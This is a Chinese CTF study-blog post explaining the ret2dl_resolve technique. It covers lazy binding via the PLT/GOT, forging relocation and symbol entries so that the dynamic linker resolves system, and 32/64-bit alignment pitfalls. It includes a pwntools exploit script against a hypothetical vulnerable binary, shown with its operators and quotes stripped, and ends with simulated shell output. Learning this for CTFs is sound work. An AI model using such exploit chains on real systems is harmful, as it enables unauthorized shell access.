【学习记录】Week6(三):动态链接的欺骗——PLT 表手动解析与 ret2dl_resolve 推演

发布时间:2026/7/1 20:55:22
【学习记录】Week6(三):动态链接的欺骗——PLT 表手动解析与 ret2dl_resolve 推演 写在前面在之前的 ret2libc 系列中我们拿 Shell 的前提是必须先泄露 libc 的基址。但如果题目环境极其苛刻没有puts、printf等输出函数无法泄露任何地址而且程序里也没有system和/bin/sh字符串怎么办这时候我们需要欺骗操作系统的动态链接器ld-linux.so让它在运行时“误以为”程序要调用system从而帮我们把system解析出来。这就是 PWN 中最华丽的技巧之一ret2dl_resolve。 目录前置知识动态链接的“懒加载”机制机制解剖_dl_runtime_resolve工作流攻击原理伪造重定位表项欺骗链接器32位与64位的差异与难点实战推演利用 pwntools 轻松构造 ret2dl_resolve总结与避坑指南1. 前置知识动态链接的“懒加载”机制当一个程序调用puts时由于它是动态链接的库函数程序在编译时并不知道puts在内存中的真实地址。现代 Linux 采用“懒加载”策略直到第一次真正调用puts时才去解析它的地址。这个过程依赖于三个核心表PLT (过程链接表)一小段跳板代码。GOT (全局偏移表)用于存放解析后的真实地址。.dynamic段包含了动态链接器所需的各种信息表重定位表、符号表、字符串表的地址。2. 机制解剖_dl_runtime_resolve工作流当程序第一次调用puts时执行流如下跳转到putsplt。putsplt第一条指令是jmp [putsgot]。由于未解析GOT 表里存放的是 PLT 表的下一条指令地址。执行 PLT 表的下一条指令push 重定位表项的索引。接着执行 PLT[0] 的公共代码push GOT[1] (link_map 结构体地址)然后jmp GOT[2] (_dl_runtime_resolve 函数地址)。_dl_runtime_resolve(link_map, reloc_index)接管执行流它的核心任务如下根据link_map找到.dynamic段进而找到.rel.plt重定位表。根据reloc_index在.rel.plt中找到对应的条目获取该条目的r_offsetGOT 表地址和r_info符号表索引。根据r_info在.dynsym动态符号表中找到对应的Elf_Sym结构体。从Elf_Sym中取出st_name在.dynstr动态字符串表中找到对应的函数名字符串如puts。在 libc 中搜索puts的地址将地址写入r_offset指向的 GOT 表项中最后跳转到puts执行。3. 攻击原理伪造重定位表项欺骗链接器既然_dl_runtime_resolve是根据我们提供的reloc_index和表结构去查找函数并解析如果我们能在内存中比如 BSS 段伪造这些表结构就能骗过它攻击构造思路在可控内存如 BSS 段布置伪造的.rel.plt条目让r_info指向我们伪造的符号表索引。布置伪造的.dynsym条目让st_name指向我们伪造的字符串偏移。布置伪造的字符串system\0。通过栈溢出控制程序执行 PLT[0] 的代码传入我们伪造的reloc_index并布置好system需要的参数如/bin/sh。这样_dl_runtime_resolve就会忠实地按照我们的伪造数据在 libc 里找到system并执行4. 32位与64位的差异与难点32位 ret2dl_resolve结构体对齐相对宽松伪造起来比较直观是 CTF 中的常见考点。64位 ret2dl_resolve_dl_runtime_resolve在 64 位下增加了对reloc_index和符号表索引的对齐检查必须是 24 字节或 16 字节对齐。手动伪造极容易因为地址没对齐而触发dl_resolve的断言崩溃。因此 64 位下手动计算极其痛苦。5. 实战推演利用 pwntools 轻松构造 ret2dl_resolve手动伪造表结构繁琐且易错。在现代 CTF 中pwntools 提供了强大的Ret2dlresolvePayload模块能够自动帮我们计算偏移、处理对齐生成伪造的数据。假设性环境32位程序NX 开启无输出函数。存在栈溢出偏移量为 28。BSS 段可写。步骤 1初始化 Ret2dlresolvePayloadfrom pwn import * elf ELF(./vuln) p process(./vuln) # 告诉 pwntools 我们要让 dl_resolve 解析的函数名和参数 # data_addr 指定伪造数据存放的 BSS 地址pwntools 会自动分配一段安全的区域 dlresolve Ret2dlresolvePayload(elf, symbolsystem, args[/bin/sh])步骤 2将伪造的数据写入 BSS 段我们需要通过程序的read函数把dlresolve.payload包含了伪造的重定位表、符号表、字符串写到 BSS 段。这通常需要结合 Week6一学到的栈迁移技术把栈迁到 BSS 段或者利用多次 read 完成写入。# 假设我们通过栈迁移已经让程序调用了 read 把伪造数据写入了 BSS # 假设写入地址为 dlresolve.data_addr bss_addr dlresolve.data_addr # 模拟写入过程具体 exploit 代码因题而异 # p.read(bss_addr, dlresolve.payload)步骤 3构造触发 Payload伪造数据就位后我们再次利用栈溢出调用 PLT[0] 并传入伪造的reloc_index。同时布置好system执行后的返回地址随意和参数/bin/sh字符串地址包含在 payload 中。# 获取 PLT[0] 地址和 reloc_index plt_init elf.get_section_by_name(.plt).header.sh_addr reloc_index dlresolve.reloc_index # 伪造的 system 参数地址pwntools 会将其打包在 payload 的末尾 bin_sh_addr bss_addr dlresolve.payload.find(b/bin/sh) # 构造常规的 32位 ROP 链 payload bA * 28 # 1. 调用 PLT[0] payload p32(plt_init) # 2. 传入伪造的 reloc_index payload p32(reloc_index) # 3. system 执行完的假返回地址 payload p32(0xdeadbeef) # 4. system 的参数 payload p32(bin_sh_addr) # 发送触发 Payload p.sendline(payload) p.interactive()模拟终端输出[*] Switching to interactive mode $ id uid1000(user) gid1000(user) groups1000(user)无需任何地址泄露我们在“黑暗”中召唤出了system函数6. 总结与避坑指南BSS 段权限ret2dl_resolve 要求伪造数据的内存区域必须可写rw-。如果 BSS 段被限制不可写此方法失效。对齐地狱如果是 64 位程序手动构造务必注意Elf64_Rela24字节和Elf64_Sym24字节的对齐。强烈建议直接使用 pwntools 的Ret2dlresolvePayload。栈迁移的前置依赖通常我们需要先迁移栈到 BSS才能利用 BSS 上的伪造数据。务必复习扎实leave; ret栈迁移技巧。保护机制如果程序开启了 Full RELRO完全重定位只读在程序启动时所有 GOT 表就已经解析完毕_dl_runtime_resolve不会被调用ret2dl_resolve 技术直接失效。此技术仅适用于 Partial RELRO 或 No RELRO。7. 结语ret2dl_resolve是对 PWN 选手底层理解能力的终极考验。它不再局限于玩弄栈上的寄存器而是直接操纵操作系统的动态链接神经中枢。掌握它你就能在无 libc 泄露的绝境中撕开一条生路。下一篇我们将面对终极挑战——当我们连二进制文件ELF都没有的时候如何在纯盲打环境下通过 BROPBlind ROP技术拿到 Shell。如果本文对你有帮助请点赞收藏支持